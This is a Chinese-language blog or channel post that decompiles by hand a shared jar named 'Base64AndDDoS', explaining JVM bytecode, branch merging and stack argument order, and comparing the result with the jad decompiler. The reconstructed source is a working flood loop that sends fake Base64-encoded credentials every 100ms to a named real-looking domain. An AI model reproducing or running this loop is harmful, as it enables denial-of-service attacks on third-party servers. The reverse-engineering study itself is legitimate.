写完了,但是没有用,好像花了两个小时... 一部分时间是处理 Gradle build 的,熟悉插件,然后 Gradle 也不熟练,也就是能用一点 plugin configuration 和 sourceset.... 很菜的
duangsuse::Echo
https://github.com/Trumeet/Desktop #Kotlin 看起来比较简单,我也想默写一个(部分不默写,比如 bitflags) 这次我会用一点面向对象(Mixins)
好像没有使用 Mixin... 因为那个的确是比较麻烦(有可能还要用 CGLib 什么的)
然后这里也的确没啥东西需要 Mixin 的,何况那个抽象类的方法都是
Commit 明确了一下 parameter 和返回值的传递,都是没有用处的值
然后这里也的确没啥东西需要 Mixin 的,何况那个抽象类的方法都是
protected
的,从外面看也很像 Mixin 了Commit 明确了一下 parameter 和返回值的传递,都是没有用处的值
GitHub
App(Control): Specify block parameters · duangsuse/Essay-Kotlin-Secure-Desktop@aaadd7a
See also https://github.com/Trumeet/Desktop. Contribute to duangsuse/Essay-Kotlin-Secure-Desktop development by creating an account on GitHub.
那我再写一个(求别喷为什么不干有意义的事情)
[DuangSUSE@duangsuse]~/Projects%
META-INF/
Base64AndDDoS.class
org/
[DuangSUSE@duangsuse]~/Projects%
public class Base64AndDDoS {
public Base64AndDDoS();
public static void main(java.lang.String[]) throws java.io.IOException, java.lang.InterruptedException;
}
... 看起来还是不如直接用 Python 之类的写(当然文本处理推荐 Perl)
不过为了方便学习 OkIO, OkHttp 就写点吧...
[DuangSUSE@duangsuse]~/Projects%
jar tf Yuuta\ \(2\).jar|head -n4
META-INF/MANIFEST.MFMETA-INF/
Base64AndDDoS.class
org/
[DuangSUSE@duangsuse]~/Projects%
javap -cp Yuuta\ \(2\).jar Base64AndDDoS
Compiled from "Base64AndDDoS.java"public class Base64AndDDoS {
public Base64AndDDoS();
public static void main(java.lang.String[]) throws java.io.IOException, java.lang.InterruptedException;
}
... 看起来还是不如直接用 Python 之类的写(当然文本处理推荐 Perl)
不过为了方便学习 OkIO, OkHttp 就写点吧...
Forwarded from 永久封存 | Yuuta 台 | 😷 #Pray4Wuhan (Al Pt)
Yuuta.jar
2.1 MB
duangsuse::Echo
Yuuta.jar
反汇编看看,敲重点。
javap -c -cp Yuuta\ \(2\).jar Base64AndDDoS
constructor
然后
javap -c -cp Yuuta\ \(2\).jar Base64AndDDoS
constructor
public Base64AndDDoS();
啥都没有,就一个 invokespecial (call super)然后
main
, 这里第一个本地表(索引 0)因为是 static
方法就代表 args
对象aload_0; arraylength: push args.length
ifle goto 9: if (pop <=0) goto truebr
iconst_1
goto 10: goto falsebr
9:truebr
iconst_0
10:falsebr
dup
istore_1
首先看看有没有参数(<=0),如果有(len>0
),则 #1 被存储为 int 1
,否则 int 0
... 算了,我们来看看如何使用 Kate 以理解程序逻辑为目标阅读 Java 字节码吧。(其实 radare 早就可以绘制流程控制图分析(就是这里的
不要跟我说为什么不直接用 jad, jeb 之类的反编译器算了,JVM 的代码都看不懂这还是人么,顺便求不要提为什么没有立刻继续写书... 目前时间比较少,先看着办
ifle<pc> ifeq<pc>
指令)了不要跟我说为什么不直接用 jad, jeb 之类的反编译器算了,JVM 的代码都看不懂这还是人么,顺便求不要提为什么没有立刻继续写书... 目前时间比较少,先看着办
duangsuse::Echo
Photo
对于分支控制流分析来说,一个值得注意的点是『分支』的控制流是否有相同的后件:
ifne 49
ifeq 53
...
goto 54
54:
istore_0
从这个跳转地址开始抽象执行余下的代码,分析器可以发现不管怎么走,54:
这样就可以把这两个分支提取综合出来,实际上是在对流程控制图进行括扑搜索
— Local variable table
%0: args String[]
%1:
at 11: boolean
at 54: boolean
—
if (p) {
console.log()
} else { console.log() }
实际上可以被转化为console.log()这类情况可能很多,再比如一个差不多的
if (p) {这里的情况是两个分支都有一个相同的操作(后件)
stack.push(1);
storage.set(1, stack.pop());
} else {
stack.push(2);
storage.set(1, stack.pop());
}
istore_1
所谓的分支要这么收集:ifne 49
ifeq 53
...
goto 54
54:
istore_0
从这个跳转地址开始抽象执行余下的代码,分析器可以发现不管怎么走,54:
istrore_1
是公共的后件,它把栈上的对象存储到本地表这样就可以把这两个分支提取综合出来,实际上是在对流程控制图进行括扑搜索
if (str.equals("f")) {
l1 = 1;
} else if (str.equals("alwayscontinue")) {
l1 = 0;
}
🙈 总之下面的都是无聊的代码就可以了,效率分析,直接 walk 跳转完全走一遍算了:— Local variable table
%0: args String[]
%1:
at 11: boolean
at 54: boolean
—
if (args.length < 0) {
// @99
// control flow skip:
} else {
String fst = args[0];
fst = fst.toLowerCase().replaceAll("^-", "");
int $const_flagbr =0; /*%1*/
if (fst .equals ("f")) {
// code route: @49[iconst_1, goto 54] -> @54[istore_1]
$const_flagbr = 1;
} else if (! fst .equals ("alwayscontinue")) {
// code route: @53[iconst_0] -> @54[istore_1]
$const_flagbr = 0;
} else {
// code route: @49[iconst_1, goto 54] -> @54[istore_1]
$const_flagbr = 1;
} // — reduction
//@55
PrintStream stdout = java.lang.System.out;
StringBuilder sb = new StringBuilder();
// new, dup, invokespecial
sb.append("\"").append(fst /*%2*/).append("\"");
//@80
sb.append($const_flagbr==0? "ignored":"accepted")
// branch reduction [@83, @88] -> @90
stdout.println(sb.toString());
}
// if (args.length...) {} else {} 共有后件 @99
OkHttpClient req = new okhttp3.OkHttpClient.Builder()
.build(); /*%2*/
// dup
Random rng = new java.util.Random(); /*%5*/
//%10 = 0
int $_10 = 0;
while (true) {
//push long 100000000l
//operator%
//push long 900000000l
//operator+
//%6=$1
long rand = rng.nextLong() % 100000000l + 900000000l // %6
String $_8 = Method org.apache.commons.lang.RandomStringUtils.random(1,1,10);
StringBuilder sb1 = new StringBuilder().append("{\"u\":\"");
sb1.append(rand);
sb1.append("\",\"p\":\"");
sb1.append($_8).append("\"}");
$_3 = sb1.toString();
$_4 = new String(
java.util.Base64.getEncoder().encode($_3.getBytes()));
RequestBuilder job = new okhttp3.Request.Builder();//dup
StringBuilder sb2 = new StringBuilder();
sb2.append("https://fffniubi888.cn/user.php?token=");
sb2.append($_4);
job.url(sb2.toString());
$_11 = job.build();
//@236
try{
Response resp = req.newCall(job).execute();
} catch (java.net.SocketTimeoutException e/*%12*/) {
// @252
e.printStackTrace();
// merged to @321
$_10 += 1;
continue;
} catch (java.lang.Exception e1/*%12*/) {
if (1 ==0) {} else {
e1.printStackTrace();
// merged to @321
$_10 += 1;continue;
}
}
// goto @279
stdout.println(new StringBuilder().append(resp).append("\t\t").append($_10).toString());
resp.close();
java.lang.Thread.sleep(100L);
//@321
$_10 += 1;
continue;
// goto @122: loop
}
/// catch Exception table:
/*from to target type
236 249 252 Class java/net/SocketTimeoutException
236 249 262 Class java/lang/Exception */
duangsuse::Echo
对于分支控制流分析来说,一个值得注意的点是『分支』的控制流是否有相同的后件: if (p) { console.log() } else { console.log() } 实际上可以被转化为 console.log() 这类情况可能很多,再比如一个差不多的 if (p) { stack.push(1); storage.set(1, stack.pop()); } else { stack.push(2); storage.set(1, stack.pop()); } 这…
This media is not supported in your browser
VIEW IN TELEGRAM
好了,循着控制流的指示,正常完成反编译,不过我还没反编译异常捕获表...
duangsuse::Echo
对于分支控制流分析来说,一个值得注意的点是『分支』的控制流是否有相同的后件: if (p) { console.log() } else { console.log() } 实际上可以被转化为 console.log() 这类情况可能很多,再比如一个差不多的 if (p) { stack.push(1); storage.set(1, stack.pop()); } else { stack.push(2); storage.set(1, stack.pop()); } 这…
有点问题, apache commons lang 的 random string 调用是
其实反过来了 #Java #reveng
然后调用 Java 的栈是后进先出的,所以第一个
好吧,我承认是我对栈的“可视化”弄错了,之前我这么想栈:
— 栈底
当然这是正确的(它的确是 LIFO),可是很多人不这么想,他们和我想的正好是反的
👇 栈顶
虽然,x86 的栈默认就是往低地址增长... 看起来这样会比较方便,可也有不方便的:
CDEF 和 Java 函数传参的时候看起来最先出栈的被视为最后一个参数,这很正常(这样调用时压入就不会那么鸡勒)
可是和我的直觉不怎么符合... 怎么看 invoke* 上面被 push 的(在模拟执行的时候)从下往上数和参数列表应该直接对应的,可是这么干给它反过来了,搞的即使有在模拟执行也不怎么好理解...
后面的是 boolean...
已经修改好了
(IZZ)V
我以为 Z 是 Float 来着,然后 J 是 Boolean...其实反过来了 #Java #reveng
然后调用 Java 的栈是后进先出的,所以第一个
bipush
上的是第一个参数...(然后 invokevirtual
是从最后一个参数开始 pop...)好吧,我承认是我对栈的“可视化”弄错了,之前我这么想栈:
— 栈底
1👆 栈顶
2
3
当然这是正确的(它的确是 LIFO),可是很多人不这么想,他们和我想的正好是反的
👇 栈顶
3— 栈底
2
1
虽然,x86 的栈默认就是往低地址增长... 看起来这样会比较方便,可也有不方便的:
CDEF 和 Java 函数传参的时候看起来最先出栈的被视为最后一个参数,这很正常(这样调用时压入就不会那么鸡勒)
可是和我的直觉不怎么符合... 怎么看 invoke* 上面被 push 的(在模拟执行的时候)从下往上数和参数列表应该直接对应的,可是这么干给它反过来了,搞的即使有在模拟执行也不怎么好理解...
后面的是 boolean...
已经修改好了
String $_8 = org.apache.commons.lang3.RandomStringUtils.random(10,true,true);
rather thanString $_8 = org.apache.commons.lang3.RandomStringUtils.random(1,1,10);
duangsuse::Echo
反编译的程序拥有等价的逻辑语义
但是我们依然可以使用 jad 来反编译它,即使我正打算自己写一个反编译器...
Generating Base64AndDDoS.jad
反编译的效果很好 🌚
区别是我完全没有看任何局部变量表,注意手动反编译的版本和机器自动反编译的版本都有一个循环,
然后我反编译丢了
jar xf Yuuta\ \(2\).jar Base64AndDDoS.class
~/bin/jad158e.linux.static/jad Base64AndDDoS.class
Parsing Base64AndDDoS.class...The class file version is 52.0 (only 45.3, 46.0 and 47.0 are supported)Generating Base64AndDDoS.jad
反编译的效果很好 🌚
区别是我完全没有看任何局部变量表,注意手动反编译的版本和机器自动反编译的版本都有一个循环,
catch
块里他们都尝试 goto
到循环头部了然后我反编译丢了
$const_flagbr
的读取,,,(其实是在后面的 catch landingpad 里读取的,但是我直接 continue;
了没判断 iload_1; ifeq 276 @276: aload 12; athrow
) 🙈